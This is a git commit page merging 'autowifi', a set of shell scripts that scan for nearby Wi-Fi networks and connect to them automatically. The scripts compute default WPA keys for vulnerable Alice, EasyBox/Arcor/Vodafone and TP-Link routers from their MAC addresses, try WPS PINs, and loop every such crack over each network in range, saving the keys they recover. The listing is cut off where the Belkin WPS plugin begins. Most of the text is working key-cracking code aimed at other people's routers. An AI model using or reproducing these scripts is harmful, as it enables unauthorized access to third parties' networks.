summaryrefslogtreecommitdiffstats
diff options
context:
space:
mode:
authormakefu <github@syntax-fehler.de>2014-12-20 22:02:08 +0100
committermakefu <github@syntax-fehler.de>2014-12-20 22:02:08 +0100
commit16e1373ddd9050dd06cd699b2874cf178375574b (patch)
tree0352a0f39f4426327ffd4aa16dad8e0e15a6a8c4
parent120114ad12a212331e9e790305a4ab3afdc15857 (diff)
parent6a9beb12dad44b5e1efa984b112c7a6b8c13a118 (diff)
Merge remote-tracking branch 'inspector_wifi/wifi_scanner'
Conflicts: .gitignore
-rw-r--r--README.md49
-rw-r--r--TODO9
-rwxr-xr-xusr/bin/autowifi177
-rwxr-xr-xusr/bin/autowifi_old65
-rwxr-xr-xusr/bin/inspector_wifi75
-rwxr-xr-xusr/bin/iwlist_env33
-rw-r--r--usr/lib/autowifi/lib/core20
-rw-r--r--usr/lib/autowifi/lib/iwlist55
-rw-r--r--usr/lib/autowifi/lib/network40
-rw-r--r--usr/lib/autowifi/lib/openwrt18
-rw-r--r--usr/lib/autowifi/lib/plugin_core41
-rw-r--r--usr/lib/autowifi/lib/wpa_supplicant59
-rw-r--r--usr/lib/autowifi/lib/wps84
-rwxr-xr-xusr/lib/autowifi/opt/udhcpc.run70
-rwxr-xr-xusr/lib/autowifi/plugins/00profile11
-rwxr-xr-xusr/lib/autowifi/plugins/01open6
-rwxr-xr-xusr/lib/autowifi/plugins/02alice20
-rwxr-xr-xusr/lib/autowifi/plugins/02easybox37
-rwxr-xr-xusr/lib/autowifi/plugins/02tplink17
-rwxr-xr-xusr/lib/autowifi/plugins/11belkin_wps40
-rwxr-xr-xusr/lib/autowifi/plugins/30default_wps18
21 files changed, 944 insertions, 0 deletions
diff --git a/README.md b/README.md
new file mode 100644
index 00000000..3e0d8dce
--- /dev/null
+++ b/README.md
@@ -0,0 +1,49 @@
+# Autowifi
+Author: makefu,lassulus
+
+Status: Pre-Alpha - it will most likely break if you try to use it
+
+# Contact
+
+twitter: @krebsbob ,@makefoo
+
+IRC: freenode #krebs
+
+# Goals
+Goal of autowifi is to provide a tool which automatically can connect to
+networks in an unknown environment.
+
+This can either be done by connecting to open networks, known networks
+(whitelist) or by calculating weak default wpa keys (for example easybox
+default passwords).
+
+# Audience
+Due to the current status of the project the target audience are
+linux users with technical background .
+
+# Usage
+
+ # all as root
+ # try to find networks to connect to around you
+ usr/bin/autowifi_dryrun quiet
+
+ # start the autowifi daemon which tries to stay in networks all the time
+ usr/bin/autowifi
+
+# Plugins
+All tests to open up networks are implemented in plugins in
+ usr/lib/autowifi/plugins
+
+## Run a single Plugin
+This can be used for testing purposes, e.g. test a single plugin against given networks directly
+
+ # try out the easybox keygen
+ usr/lib/autowifi/plugins/02easybox SSID MAC CHANNEL ENCRYPTION(wpa_cli style)
+
+ #e.g.
+ usr/lib/autowifi/plugins/02easybox Easybox-123456 00:11:22:33:44:55 7 "[wpa]"
+
+# Disclaimer
+- use at own risk
+- only run in lab environment
+- you break it, you buy it
diff --git a/TODO b/TODO
new file mode 100644
index 00000000..ddd59818
--- /dev/null
+++ b/TODO
@@ -0,0 +1,9 @@
+more intelligent autoconnect (open first, encrypted second etc.)
+ perform initial scan on startup of unscanned networks
+ sort networks by bandwidth and connect
+profiles ala netcfg/netctl
+better profile hooks
+
+Implement:
+ - Droid Default WPA2 Pass for HotSpot: CVE-2013-4622: http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4622
+ - EasyBox 802/803 default WPS Pin: http://packetstormsecurity.com/files/122698/SA-20130805-0.txt
diff --git a/usr/bin/autowifi b/usr/bin/autowifi
new file mode 100755
index 00000000..6b9a090c
--- /dev/null
+++ b/usr/bin/autowifi
@@ -0,0 +1,177 @@
+#!/bin/sh
+cd $(dirname $(readlink -f $0))
+
+
+interface=${interface:-wlan0}
+root=${root:-../../}
+crackdir=$root/usr/lib/autowifi/plugins
+wifi_keys=$root/etc/autowifi/wifi_keys
+wifi_log=$root/var/log/autowifi.log
+painmode=${painmode:-}
+
+# exists() run_hooks()
+. $root/usr/lib/autowifi/lib/core
+
+
+. $root/usr/lib/autowifi/lib/network
+
+# start_wpa_supplicant()
+. $root/usr/lib/autowifi/lib/wpa_supplicant
+
+
+connect(){
+ #mac ssid encryption key
+
+ run_hooks interface pre
+ run_hooks profile pre
+
+ connect_wifi "$@"
+
+ ip_start dhcp
+
+ if check_gateway && check_internet; then
+ echo yay internet >&2
+
+ run_hooks interface post
+ run_hooks profile post
+
+ write_profile "$@"
+ return 0
+ fi
+ return 1
+}
+write_profile(){
+ bandw=$(check_bandwidth)
+ ( cat $wifi_keys | grep -v '^#' | grep -v "|$1|" ; echo "$2|$1|$bandw|$4" ) | ( echo "#SSID|MAC|BANDWIDTH|KEY";sort )| uniq > "${wifi_keys}2"
+ mv "${wifi_keys}2" "$wifi_keys"
+}
+
+
+find_count_of_ssid(){
+ c=0
+ for i in `seq 1 $WIFI_COUNT`; do
+ eval SSID=\${ESSID_${i}}
+ if [ "$SSID" = "$1" ]; then
+ c+=1
+ echo "$i"
+ fi
+ done
+ if [ $c -eq 0 ];then
+ exit 1
+ fi
+ exit 0
+}
+
+
+connect_to_network_by_ssid(){
+ find_count_of_ssid "$1" | (while read i
+ do
+ loop_over_cracks "$i" && exit 0
+ done;exit 1)
+ if [ $? -eq 0 ]; then
+ exit 0
+ fi
+ echo "no network found :("
+ exit 1
+}
+
+connect_with_pw(){
+ find_count_of_ssid "$1" | (while read i
+ do
+ KEY="$2"
+ eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
+ if [ $? -eq 0 ]; then
+ exit 0
+ fi
+ done;exit 1)
+}
+wifi_init(){
+ wpa_supplicant_is_usable || start_wpa_supplicant /tmp/autowifi.wpa_supplicant
+ wifi_scan > /tmp/${interface}.scan
+ . /tmp/${interface}.scan
+}
+loop_over_networks(){
+
+ wifi_init
+ for i in `seq 1 $WIFI_COUNT`; do
+ loop_over_cracks "$i"
+ if [ $? -eq 0 ]; then
+ return 0
+ fi
+ done
+}
+
+loop_over_cracks(){
+ i=$1
+ KEY=''
+ for crack in $(find $crackdir -type f | sort -u); do
+ KEY="$(eval root=$root painmode=$painmode \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})"
+ if [ $? -eq 0 ]; then
+ eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
+ if [ $? -eq 0 ]; then
+ return 0
+ fi
+ fi
+ done
+ return 1
+}
+loop_cracks_over_networks(){
+ wifi_init
+ for crack in $(find $crackdir -type f | sort -u); do
+ for i in `seq 1 $WIFI_COUNT`; do
+ KEY="$(eval root=$root \$crack \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${FREQ_${i}} \${ENCRYPTION_${i}})"
+ if [ $? -eq 0 ]; then
+ eval connect \"\${MAC_${i}}\" \"\${ESSID_${i}}\" \${ENCRYPTION_${i}} \"\${KEY}\"
+ if [ $? -eq 0 ]; then
+ return 0
+ fi
+ fi
+ done
+ done
+
+}
+
+#scan_all(){
+# for i in `seq 1 $WIFI_COUNT`; do
+# loop_over_cracks $i
+# done
+#}
+#
+#scan_unscanned(){
+# find_unscanned_networks | (while read i
+# do
+# loop_over_cracks $i
+# done)
+#}
+
+#find_unscanned_networks(){
+# #TODO broken
+# for i in `seq 1 $WIFI_COUNT`; do
+# eval SSID=\${ESSID_${i}}
+# eval MAC=\${MAC_${i}}
+# cat $wifi_stats 2>/dev/null | (while IFS='|' read SSID MAC BANDW KEY; do
+# if [ "$1" = "$SSID" -a "$2" = "$MAC" ]; then
+# continue
+# fi
+# done; echo $i)
+# done
+# exit 0
+#}
+
+wifi_init
+if [ -n "$2" ]; then
+ echo connecting to $1 with pw $2
+ connect_with_pw "$1" "$2"
+elif [ -n "$1" ]; then
+ echo connecting to $1
+ connect_to_network_by_ssid "$1"
+else
+ echo looping network now
+ check_internet || loop_cracks_over_networks
+
+ while sleep 10; do
+ if ! check_gateway; then
+ loop_cracks_over_networks
+ fi
+ done
+fi
diff --git a/usr/bin/autowifi_old b/usr/bin/autowifi_old
new file mode 100755
index 00000000..55eaefcd
--- /dev/null
+++ b/usr/bin/autowifi_old
@@ -0,0 +1,65 @@
+#!/bin/sh -x
+# States (LED):
+# Blinking - running wifi plugins
+# Turned off - connected to wifi
+# Turned on - waiting for next scan round
+
+wifi=wlan0
+iface=@wifi-iface[0]
+radio=$(uci get wireless.${iface}.device)
+
+# for connect_wifi
+. /usr/lib/autowifi/lib/openwrt
+
+# for iwlist_scan
+. /usr/lib/autowifi/lib/iwlist
+
+# for check_internet and check_gateway
+. /usr/lib/autowifi/lib/network
+
+crack_wifi(){
+ #SSID MAC CHANNEL ENCRYPTION WPA WPA2
+ all_led timer
+ if [ "$4" == off ];then
+ encr=open
+ elif [ "$6" -eq 1 ]; then
+ encr=psk2
+ elif [ "$5" -eq 1 ]; then
+ encr=psk
+ elif [ "$4" == on ]; then
+ encr=wep
+ fi
+ for hack in $(find /usr/lib/autowifi/plugins -type f); do
+ key=$($hack "$@");
+ ret=$?
+ if [ $ret -eq 0 ];then
+ connect_wifi "$3" "$1" $encr "$key"
+ sleep 20
+ if check_gateway; then
+ (cat /etc/autowifi/wifi_keys | grep -v "$1|$2|" ; echo "$1|$2|$key" ) | sort | uniq > /etc/autowifi/wifi_keys2
+ mv /etc/autowifi/wifi_keys2 /etc/autowifi/wifi_keys
+ echo "yay gateway"
+ check_internet && all_led none && return 0
+ fi
+ fi
+ done
+ return 1
+}
+loop_over_networks(){
+ . /tmp/${wifi}.scan
+ for i in `seq 1 $WIFI_COUNT`; do
+ eval grep -q \${MAC_${i}} /etc/autowifi/blacklist && continue
+ eval crack_wifi \"\${ESSID_${i}}\" \"\${MAC_${i}}\" \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} && break
+ done
+}
+
+iwlist_scan > /tmp/${wifi}.scan
+loop_over_networks
+
+while sleep 60; do
+ if ! check_internet; then
+ all_led on
+ iwlist_scan > /tmp/${wifi}.scan
+ loop_over_networks
+ fi
+done
diff --git a/usr/bin/inspector_wifi b/usr/bin/inspector_wifi
new file mode 100755
index 00000000..17818b44
--- /dev/null
+++ b/usr/bin/inspector_wifi
@@ -0,0 +1,75 @@
+#!/bin/sh
+# Usage; sudo iwlist wlan0 scan | ./inspector_wifi
+#
+#
+set -eu
+
+cd "$(dirname "$(readlink -f "$0")")"
+echo "waiting for iwlist scan data..." >&2
+
+crack_wifi(){
+ for i in ../lib/autowifi/plugins/*;do
+ if RET=$(./$i "$@" 2>/dev/null);then
+ echo "$@ - with crack $i succeeded - Key is $RET"
+ fi
+ done
+}
+
+shell_escape(){
+ sed 's/./\\&/g'
+}
+remove_quotes(){
+ sed 's/^"\|"$//g'
+}
+
+
+iwlist_scan_parser(){
+ count=0
+ while read line;
+ do
+ case "$line" in
+
+ *"Cell "*)
+ if [ $count -ne 0 ];then
+ crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+ fi
+ WPA=0
+ WPA2=0
+ : $((count+=1))
+ MAC=${line#*Address: }
+ ;;
+ *Channel:*)
+ CHANNEL=${line#*:}
+ ;;
+ *Quality=*)
+ QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
+ ;;
+ *"Encryption key:"*)
+ ENCRYPTION=${line#*key:}
+ ;;
+ *ESSID:*)
+ ESSID=$(echo "${line#*ESSID:}" | remove_quotes)
+ ;;
+ *"IE: IEEE 802.11i/WPA2"*)
+ WPA2=1
+ ;;
+ *"IE: WPA Version 1"*)
+ WPA=1
+ ;;
+ *);; #important, do not delete!
+ esac
+ done;
+ crack_wifi "$ESSID" $MAC $CHANNEL any_encryption
+ echo WIFI_COUNT=$count
+}
+
+wifi_init(){
+ iwlist_scan_parser
+}
+
+loop_networks(){
+ for i in `seq 1 $WIFI_COUNT`; do
+ loop_over_cracks "$i"
+ done
+}
+wifi_init
diff --git a/usr/bin/iwlist_env b/usr/bin/iwlist_env
new file mode 100755
index 00000000..29112ff3
--- /dev/null
+++ b/usr/bin/iwlist_env
@@ -0,0 +1,33 @@
+#!/bin/sh
+
+count=0
+
+iwlist scan ${1:-} 2>/dev/null | ( while read line;
+do
+ case "$line" in
+ *"Cell "*)
+ #echo
+ : $((count+=1))
+ echo MAC_${count}="${line#*Address: }"
+ ;;
+ *Channel:*)
+ echo CHANNEL_${count}="${line#*:}"
+ ;;
+ *Quality=*)
+ echo QUALITY_${count}="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
+ ;;
+ *"Encryption key:"*)
+ echo ENCRYPTION_${count}="${line#*key:}"
+ ;;
+ *ESSID:*)
+ echo ESSID_${count}="${line#*ESSID:}"
+ ;;
+ *"IE: IEEE 802.11i/WPA2"*)
+ echo WPA2_${count}=1
+ ;;
+ *"IE: WPA Version 1"*)
+ echo WPA_${count}=1
+ ;;
+ *);;
+ esac
+done; echo WIFI_COUNT=$count)
diff --git a/usr/lib/autowifi/lib/core b/usr/lib/autowifi/lib/core
new file mode 100644
index 00000000..80ae75b4
--- /dev/null
+++ b/usr/lib/autowifi/lib/core
@@ -0,0 +1,20 @@
+#!/bin/sh
+
+exists() { type "$1" >/dev/null 2>/dev/null; }
+
+run_hooks(){
+ # (interface|profile) (pre|post)
+ typ=$1
+ action=$2
+ shift;shift
+ : ${interface?please provide interface}
+ if [ "$typ" = "interface" ];then
+ path=interface/$interface/$action
+ else
+ path=profile/$2/$action
+ fi
+ for hook in $(find "$root/etc/autowifi/hooks/$path" -type f 2>/dev/null | sort -u ); do
+ $hook "$@"
+ done
+}
+
diff --git a/usr/lib/autowifi/lib/iwlist b/usr/lib/autowifi/lib/iwlist
new file mode 100644
index 00000000..a9f77f0c
--- /dev/null
+++ b/usr/lib/autowifi/lib/iwlist
@@ -0,0 +1,55 @@
+#!/bin/sh
+
+print_iwlist_env(){
+ # takes environment:
+ # count
+ # MAC
+ # CHANNEL
+ # QUALITY
+ # ENCRYPTION
+ # ESSID
+ # WPA
+ # WPA2
+ for i in ESSID MAC CHANNEL QUALITY ENCRYPTION WPA WPA2;do
+ eval echo ${i}_${count}=\$${i}
+ done
+}
+
+iwlist_scan(){
+ # usage: iwlist_scan $wifi-itf
+ ifconfig $wifi up
+
+ count=0
+
+ iwlist ${1:-} scan 2>/dev/null | ( while read line;
+ do
+ case "$line" in
+ *"Cell "*)
+ [ $count -eq 0 ] || print_iwlist_env
+ WPA=0
+ WPA2=0
+ : $((count+=1))
+ MAC="${line#*Address: }"
+ ;;
+ *Channel:*)
+ CHANNEL="${line#*:}"
+ ;;
+ *Quality=*)
+ QUALITY="`printf '%s' ${line#*Quality=} | cut -d/ -f 1`"
+ ;;
+ *"Encryption key:"*)
+ ENCRYPTION="${line#*key:}"
+ ;;
+ *ESSID:*)
+ ESSID="${line#*ESSID:}"
+ ;;
+ *"IE: IEEE 802.11i/WPA2"*)
+ WPA2=1
+ ;;
+ *"IE: WPA Version 1"*)
+ WPA=1
+ ;;
+ *);;
+ esac
+ done; print_iwlist_env ;echo WIFI_COUNT=$count)
+}
diff --git a/usr/lib/autowifi/lib/network b/usr/lib/autowifi/lib/network
new file mode 100644
index 00000000..a0105120
--- /dev/null
+++ b/usr/lib/autowifi/lib/network
@@ -0,0 +1,40 @@
+#!/bin/sh
+
+check_gateway(){
+ ping -c 1 -w 5 $(ip route | awk '/default/{print $3}') >/dev/null
+}
+check_internet(){
+ # TODO determine the loader, either wget or curl
+ secret=$(wget -O- http://krebsco.de/secret 2>/dev/null)
+ if [ "$secret" == "1337" ]; then
+ return 0
+ else
+ echo "cannot load secret or secret incorrect" >&2
+ return 1
+ fi
+}
+
+check_bandwidth(){
+ echo $(curl http://www.microsoft.com/africa/4afrika/images/infographic.gif -w "%{speed_download}" -o /dev/null 2>/dev/null | sed 's/\..*//')
+}
+
+ip_start(){
+ : ${interface?interface variable not set} ${1?please provide method to start ip}
+ # usage: method [extra parms]
+ case "$1" in
+ dhcp)
+ if exists dhcpcd; then
+ dhcpcd -x $interface
+ dhcpcd -w -A $interface
+ elif exists dhclient; then
+ dhclient -x $interface
+ dhclient $interface
+ elif exists udhcpc; then
+ PIDFILE=/var/run/udhcpc-${interface}.pid
+ [ -e $PIDFILE ] && kill `cat $PIDFILE` ||:
+ udhcpc -n -p $PIDFILE -i $interface -s \
+ "$root/usr/lib/autowifi/opt/udhcpc.run"
+ fi ;;
+ *) echo "do not know ip starter $1" >&2;;
+ esac
+}
diff --git a/usr/lib/autowifi/lib/openwrt b/usr/lib/autowifi/lib/openwrt
new file mode 100644
index 00000000..3483c1fe
--- /dev/null
+++ b/usr/lib/autowifi/lib/openwrt
@@ -0,0 +1,18 @@
+#!/bin/sh
+connect_wifi(){
+ # channel ssid encryption key
+ uci set wireless.${iface}.mode=sta
+
+ ifconfig $wifi up
+ uci set wireless.${radio}.channel=$1
+ uci set "wireless.${iface}.ssid=$2"
+ if [ $3 == "none" ] ; then
+ uci set wireless.${iface}.encryption=none
+ uci -q delete wireless.${iface}.key
+ else
+ uci set "wireless.${iface}.key=$4"
+ uci set wireless.${iface}.encryption=$3
+ fi
+ uci commit wireless
+ wifi up
+}
diff --git a/usr/lib/autowifi/lib/plugin_core b/usr/lib/autowifi/lib/plugin_core
new file mode 100644
index 00000000..e79a3c05
--- /dev/null
+++ b/usr/lib/autowifi/lib/plugin_core
@@ -0,0 +1,41 @@
+#!/bin/sh
+parse_plugin_args(){
+ [ $# -ne 4 ] && plugin_usage && exit 1
+ # convenience function to put args in ENV variables
+ ESSID="$1"
+
+ # mac is returned without colon
+ MAC=$(printf "%s" "$2" | sed 's/://g')
+ # split up the mac address to vendor and private part
+ VENDOR_MAC=${MAC:0:6}
+ PRIVATE_MAC=${MAC:6:12}
+ CHANNEL="$3"
+ ENC="$4"
+ if [ ${#MAC} -ne 12 ] ;then
+ echo "MAC malformed"
+ exit 1
+ fi
+}
+plugin_usage(){
+ cat << EOF
+usage: $0 ESSID MAC CHANNEL ENC"
+
+ ESSID - string
+ MAC - 00:11:22:33:44:55
+ CHANNEL - 4
+ ENC - wpa
+EOF
+
+}
+
+check_vendor_mac(){
+ needle="$(printf $1 | tr '[A-Z]' '[a-z]')"
+ shift
+ for i in "$@";do
+ [ "$needle" == "$(printf $i | tr '[A-Z]' '[a-z]')" ] && return 0
+ done
+ return 1
+}
+check_painmode(){
+ test -z "${painmode:-}" && echo "painmode required" && exit 1
+}
diff --git a/usr/lib/autowifi/lib/wpa_supplicant b/usr/lib/autowifi/lib/wpa_supplicant
new file mode 100644
index 00000000..df9c2155
--- /dev/null
+++ b/usr/lib/autowifi/lib/wpa_supplicant
@@ -0,0 +1,59 @@
+#!/bin/sh
+start_wpa_supplicant(){
+ wpa_conf=${1?please supply wpa_supplicant.conf path}
+ killall wpa_supplicant
+ sleep 1
+cat>$wpa_conf<<EOF
+ctrl_interface=/var/run/wpa_supplicant
+EOF
+ wpa_supplicant -i $interface -c $wpa_conf -B
+ sleep 4
+}
+connect_wifi(){
+ # bssid ssid encryption-string key
+
+ wpa_cli reconfigure
+
+ int=$(wpa_cli add_network | tail -1)
+ wpa_cli set_network $int ssid \"$2\"
+ wpa_cli set_network $int bssid $1
+ #wpa_cli set_network $int ap_scan 1
+
+ if [ "$3" = "[ESS]" ]; then
+ wpa_cli set_network $int key_mgmt NONE
+ else
+ wpa_cli set_network $int key_mgmt WPA-PSK
+ wpa_cli set_network $int psk \"$4\"
+ fi
+ wpa_cli enable_network $int
+}
+
+wifi_scan(){
+ # usage: iwlist_scan $wifi-itf
+
+ count=0
+ wpa_cli scan >/dev/null
+ sleep 10
+
+ wpa_cli scan_results 2>/dev/null | egrep "^..:" | sed 's/ / /g' | (while IFS=' ' read MAC FREQ QUALITY ENCRYPTION ESSID
+ do
+ : $((count+=1))
+ print_wifi_env
+
+ done; echo WIFI_COUNT=$count)
+}
+
+print_wifi_env(){
+ # takes environment:
+ # MAC
+ # FREQ
+ # QUALITY
+ # ENCRYPTION
+ # ESSID
+ for i in MAC FREQ QUALITY ENCRYPTION ESSID;do
+ eval echo ${i}_${count}=\\\"\$"${i}"\\\"
+ done
+}
+wpa_supplicant_is_usable(){
+ wpa_cli status >/dev/null 2>&1
+}
diff --git a/usr/lib/autowifi/lib/wps b/usr/lib/autowifi/lib/wps
new file mode 100644
index 00000000..5e9bbda7
--- /dev/null
+++ b/usr/lib/autowifi/lib/wps
@@ -0,0 +1,84 @@
+#!/bin/sh
+has_wps(){
+ # the-wpa_supplicant-encryption-string
+ echo "$1" | grep -q "\[WPS\]"
+}
+try_wps_pin(){
+ #
+ # ESSID MAC CHANNEL ENC WPA WPA2 PIN
+ #set -ef
+ ESSID="$1"
+ MAC="$2"
+ CHANNEL="$3"
+
+ # TODO refactor to use all the encryption
+ # the wpa_supplicant encryption string
+ ENC="$4"
+
+ PIN="$5"
+
+ [ "$ENC" == "[ESS]" ] && return 2
+ WPA_CONF=/tmp/wpa_trywps.conf
+ WPA_LOG=/tmp/wpa_trywps.log
+ rm $WPA_LOG
+ #mkfifo $WPA_LOG
+ killall wpa_supplicant 2>/dev/null && sleep 1
+
+ cat > $WPA_CONF <<EOF
+ctrl_interface=/var/run/wpa_supplicant
+ctrl_interface_group=0
+update_config=1
+EOF
+ wpa_supplicant -Dwext -iwlan0 -c $WPA_CONF -f $WPA_LOG 2>&1 &
+ WPA_PID=$!
+ sleep 2
+ if !(sudo wpa_cli wps_reg $MAC $PIN | grep -q OK) ;then
+ echo "wpa_cli wps_reg failed, bailing out!"
+ return 1
+ fi
+
+ # association failed
+ # exit 1 ;;
+ # TODO probably not posix compatible...
+ timeout(){
+ ( timeout=10;
+ while [ $timeout -gt 0 ]; do
+ sleep 1;
+ kill -0 $$ 2> /dev/null || exit 0;
+ : $((timeout--));
+ done ;
+ echo "TIMEOUT REACHED" ;
+ kill $$)&
+ exec $@
+ }
+
+ if ( timeout tail -f $WPA_LOG & echo "TAILPID: $!") | while read line ; do
+ bye(){
+ printf "%s:" "$2" >&2
+ kill $WPA_PID
+ kill -HUP $TAILPID
+ exit $1
+ }
+ # DEBUG
+ #echo $line >&2
+ case "$line" in
+ TAILPID:*)IFS=" " set -- $line; TAILPID=$2;;
+ *"WPS-FAIL msg=10 config_error=18"*) bye 1 "wrong pin";;
+ *"CTRL-EVENT-EAP-FAILURE EAP authentication failed"*) bye 1 "rate limiting";;
+ #*"Association request to the driver failed") bye 1 "wps not available";;
+ #*CTRL-EVENT-DISCONNECTED*):;;
+ *"CTRL-EVENT-DISCONNECTED bssid="*"reason=3 locally_generated=1"*)bye 1 "authentication failed, wps deactivated?";;
+ "TIMEOUT REACHED")bye 1 "timeout reached";;
+ *CTRL-EVENT-TERMINATING*) bye 1 "wpa_supplicant died";;
+ *CTRL-EVENT-CONNECTED*) bye 0 "yay connected";;
+ esac
+ done ; then
+ #echo "Connected!"
+ sed -n 's/[ \t]*psk="\(.*\)"$/\1/p' "$WPA_CONF"
+ return 0
+ else
+ #echo "failed!"
+ return 1
+ fi
+
+}
diff --git a/usr/lib/autowifi/opt/udhcpc.run b/usr/lib/autowifi/opt/udhcpc.run
new file mode 100755
index 00000000..2e1b919f
--- /dev/null
+++ b/usr/lib/autowifi/opt/udhcpc.run
@@ -0,0 +1,70 @@
+#!/bin/sh
+# shamelessly stolen from http://www.doit.org/udhcpc/S50default
+
+PATH=/bin:/usr/bin:/sbin:/usr/sbin
+
+RESOLV_CONF="/etc/resolv.conf"
+
+update_interface()
+{
+ [ -n "$broadcast" ] && BROADCAST="broadcast $broadcast"
+ [ -n "$subnet" ] && NETMASK="netmask $subnet"
+ ifconfig $interface $ip $BROADCAST $NETMASK
+}
+
+update_routes()
+{
+ if [ -n "$router" ]
+ then
+ echo "deleting routes"
+ while route del default gw 0.0.0.0 dev $interface
+ do :
+ done
+
+ for i in $router
+ do
+ route add default gw $i dev $interface
+ done
+ fi
+}
+
+update_dns()
+{
+ echo -n > $RESOLV_CONF
+ [ -n "$domain" ] && echo domain $domain >> $RESOLV_CONF
+ for i in $dns
+ do
+ echo adding dns $i
+ echo nameserver $i >> $RESOLV_CONF
+ done
+}
+
+deconfig()
+{
+ ifconfig $interface 0.0.0.0
+}
+
+case "$1" in
+ bound)
+ update_interface;
+ update_routes;
+ update_dns;
+ ;;
+
+ renew)
+ update_interface;
+ update_routes;
+ update_dns;
+ ;;
+
+ deconfig)
+ deconfig;
+ ;;
+
+ *)
+ echo "Usage: $0 {bound|renew|deconfig}"
+ exit 1
+ ;;
+esac
+
+exit 0
diff --git a/usr/lib/autowifi/plugins/00profile b/usr/lib/autowifi/plugins/00profile
new file mode 100755
index 00000000..d7fb9c75
--- /dev/null
+++ b/usr/lib/autowifi/plugins/00profile
@@ -0,0 +1,11 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+# ENV:
+# root (default: /)
+root=${root:-/}
+cat $root/etc/autowifi/wifi_keys 2>/dev/null | (while IFS='|' read SSID MAC BANDWIDTH KEY; do
+ if [ "$1" == "$SSID" -a "$2" == "$MAC" ]; then
+ echo $KEY
+ exit 0
+ fi
+done; exit 1)
diff --git a/usr/lib/autowifi/plugins/01open b/usr/lib/autowifi/plugins/01open
new file mode 100755
index 00000000..881f47ea
--- /dev/null
+++ b/usr/lib/autowifi/plugins/01open
@@ -0,0 +1,6 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION
+if [ "$4" == "[ESS]" ]; then
+ exit 0
+fi
+exit 1
diff --git a/usr/lib/autowifi/plugins/02alice b/usr/lib/autowifi/plugins/02alice
new file mode 100755
index 00000000..1b4533a4
--- /dev/null
+++ b/usr/lib/autowifi/plugins/02alice
@@ -0,0 +1,20 @@
+#!/bin/sh
+# Implementation of Alicebox 1121 /Siemens S1621-Z220-A Default Password Algorithm:
+# Based on Poc from
+# http://www.wardriving-forum.de/forum/f275/standard-wlanpassw%F6rter-von-alice-boxen-70287.html
+#
+#
+# ESSID MAC CHANNEL ENCRYPTION
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "00255E" && echo "$VENDOR_MAC not affected" && exit 1
+
+# printf always makes string to lower, need that for correct md5sum
+ETHMAC=$( printf "%012x" $((0x${MAC}-1)) )
+TMP=$(printf $ETHMAC | md5sum)
+printf ${TMP:0:12} | base64
+exit 0
diff --git a/usr/lib/autowifi/plugins/02easybox b/usr/lib/autowifi/plugins/02easybox
new file mode 100755
index 00000000..3d7cb8c1
--- /dev/null
+++ b/usr/lib/autowifi/plugins/02easybox
@@ -0,0 +1,37 @@
+#!/bin/sh
+#ESSID MAC CHANNEL ENCRYPTION WPA WPA2
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+parse_plugin_args "$@"
+
+if ! echo "$ESSID" | egrep -i "(EasyBox-|Arcor-|Vodafone-)" >/dev/null; then
+ echo "Essid $ESSID is not Default EasyBox|Arcor|Vodafone"
+ exit 1
+else
+
+ # Fill up to 4 places with zeros, if necessary:
+ deci=$(printf "%04d" "0x${MAC:8:4}" | sed 's/.*\(....\)/\1/;s/./& /g')
+ #
+ # The digits M9 to M12 are just the last digits (9.-12.) of the MAC:
+ hexi=$(echo ${MAC:8:4} | sed 's/./& /g')
+ #echo 'M4 (Hex): ' ${hexi[@]}
+ # K1 = last byte of (d0 + d1 + h2 + h3)
+ # K2 = last byte of (h0 + h1 + d2 + d3)
+ c1=$(printf "%d + %d + %d + %d" ${deci:0:1} ${deci:2:1} 0x${hexi:4:1} 0x${hexi:6:1})
+ c2=$(printf "%d + %d + %d + %d" 0x${hexi:0:1} 0x${hexi:2:1} ${deci:4:1} ${deci:6:1})
+ K1=$((($c1)%16))
+ K2=$((($c2)%16))
+ #printf "K1: %x\n" $K1
+ #printf "K2: %x\n" $K2
+ X1=$((K1^${deci:6:1}))
+ X2=$((K1^${deci:4:1}))
+ X3=$((K1^${deci:2:1}))
+ Y1=$((K2^0x${hexi:2:1}))
+ Y2=$((K2^0x${hexi:4:1}))
+ Y3=$((K2^0x${hexi:6:1}))
+ Z1=$((0x${hexi:4:1}^${deci:6:1}))
+ Z2=$((0x${hexi:6:1}^${deci:4:1}))
+ Z3=$((K1^K2))
+ printf "%x%x%x%x%x%x%x%x%x\n" $X1 $Y1 $Z1 $X2 $Y2 $Z2 $X3 $Y3 $Z3 | tr a-f A-F
+fi
diff --git a/usr/lib/autowifi/plugins/02tplink b/usr/lib/autowifi/plugins/02tplink
new file mode 100755
index 00000000..b2b96f95
--- /dev/null
+++ b/usr/lib/autowifi/plugins/02tplink
@@ -0,0 +1,17 @@
+#!/bin/sh
+# Implementation of TP-Link default WPA Key
+# Based on
+# http://www.wardriving-forum.de/forum/f321/ezwlan-android-2-1-a-70045-4.html#post342481
+
+cd $(dirname $(readlink -f $0))
+. ../lib/plugin_core
+
+parse_plugin_args "$@"
+
+! check_vendor_mac $VENDOR_MAC "F8D111" && echo "$VENDOR_MAC not affected" && exit 1
+! echo $ESSID | egrep -q '^tp' && echo "$ESSID not affected" && exit 1
+
+
+# printf always makes string to lower, need that for correct md5sum
+printf ${MAC:4:12}
+exit 0
diff --git a/usr/lib/autowifi/plugins/11belkin_wps b/usr/lib/autowifi/plugins/11belkin_wps
new file mode 100755
index 00000000..d4eb8e37
--- /dev/null
+++ b/usr/lib/autowifi/plugins/11belkin_wps
@@ -0,0 +1,40 @@
+#!/bin/sh
+# thanks to http://ednolo.alumnos.upv.es/?p=1295G
+# for the PoC code
